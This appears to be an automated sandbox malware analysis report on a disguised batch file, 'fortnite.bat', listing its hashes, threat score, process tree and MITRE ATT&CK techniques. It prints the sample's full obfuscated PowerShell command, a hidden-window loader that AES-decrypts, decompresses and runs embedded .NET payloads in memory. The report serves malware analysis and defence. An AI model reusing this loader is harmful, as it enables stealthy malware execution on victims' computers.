6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-11-2024 08:24

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General

Target

fortnite.bat
Size

571KB
MD5

73f587e1a81276175d5e6560e6d6b18c
SHA1

843d9c158c1942d8bd8348a36934cf9307aae7cc
SHA256

6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd
SHA512

ed1371fe6e1b9c4ee6a5797d25559c54c3d5709298f17fbd2b7ae472688f2cb6224d5a87ede31e565fe40731336a46db9bc0363b65859c64035117d5d3404bb6
SSDEEP

12288:RvkWtm4kNF0x6e2K2/SZAh9R5x3UEOM+2SoWDjsnlLOS6+7nkCzTdU8F+pptww9r:Uxo9I32QfMD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 1500	1032	cmd.exe	29
PID 1032 wrote to memory of 1500	1032	cmd.exe	29
PID 1032 wrote to memory of 1500	1032	cmd.exe	29
PID 1500 wrote to memory of 2080	1500	net.exe	30
PID 1500 wrote to memory of 2080	1500	net.exe	30
PID 1500 wrote to memory of 2080	1500	net.exe	30
PID 1032 wrote to memory of 2052	1032	cmd.exe	31
PID 1032 wrote to memory of 2052	1032	cmd.exe	31
PID 1032 wrote to memory of 2052	1032	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fortnite.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Local\Temp\fortnite.bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2052-4-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

Filesize
4KB

Download
memory/2052-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2052-6-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2052-7-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2052-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2052-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2052-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2052-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2052-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download